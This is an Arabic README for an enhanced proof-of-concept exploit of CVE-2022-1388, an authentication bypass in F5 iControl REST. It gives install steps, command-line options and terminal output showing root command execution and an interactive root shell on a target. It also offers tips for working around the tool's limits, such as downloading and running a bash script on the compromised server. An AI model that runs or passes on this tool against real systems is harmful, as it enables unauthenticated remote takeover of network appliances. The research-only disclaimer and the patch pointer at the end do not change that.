
إثبات مفهوم محسّن لـ CVE-2022-1388 مع شل تفاعلي
POC محسّن لـ CVE-2022-1388 الذي يؤثر على منتجات F5 المتعددة.
هذه نسخة محسّنة من إثبات المفهوم لـ Horizon3 لـ CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
تحتوي هذه النسخة على تحسينات متعددة بالإضافة إلى شِل تفاعلي لتشغيل الأوامر عن بُعد.
يمكن العثور على تحليل Horizon3 الفني للسبب الجذري للثغرة في مدونتهم: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
الشروط الضرورية لطلب استغلال هذه الثغرة:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
لا يتطلب استخدام أي اتصال TCP عكسي أو مستمعين.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
يرجى ملاحظة أنه أثناء تشغيل الشِل التفاعلي على نظام غير محدث، قد لا تعمل بعض الأوامر والقواعد النحوية أو تعطيك النتيجة المتوقعة. من المحتمل أن يكون هذا بسبب استخدام JSON في طلبات واستجابات واجهة برمجة التطبيقات للخادم. لتجنب أي مشاكل، حاول ألا تستخدم الأحرف الفردية الشائعة في بناء جملة JSON مثل النقطتين والفاصلة والأقواس المتعرجة والأقواس المربعة، وخاصة علامات الاقتباس عند استخدام الشِل التفاعلي. يجب أن تكون أي بناء جملة JSON داخل الأمر منظمة بالتنسيق.
قد يؤدي استخدام أي نوع من بناء جملة JSON غير المنظم داخل الأمر إلى طلب API مشوه للخادم وقد يتركك بلا: إخراج أمر، أو عدم تنفيذ شيء، أو قد يطردك من النص البرمجي بايثون بالكامل. هذا يجعل بعض الأوامر غير قابلة للاستخدام للأسف. للتغلب على هذه المشكلة، يمكنك بدلاً من ذلك كتابة نص برمجي bash، وتنزيله على الخادم، وتنفيذه باستخدام الشِل التفاعلي. كما أنه ليس من الممكن تغيير الدلائل باستخدام الأمر 'cd'.
في أي حال، يجب أن تظل قادرًا على الحصول على إخراج الأوامر الأساسية. إذا لم تحصل على إخراج أمر، فهذا لا يعني أن الأمر لم يتم تنفيذه. ومع ذلك، سيتعين عليك معرفة ذلك باستخدام تحليلك الخاص.
قم بالتحديث إلى أحدث إصدار أو خفف باتباع التعليمات الواردة في إعلان أمان F5
تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعالة فقط، وليس المقصود استخدامه لمهاجمة الأنظمة إلا إذن صريح. القائمون على المشروع غير مسؤولين ولا يتحملون أي مسؤولية عن سوء استخدام البرنامج. استخدمه بمسؤولية.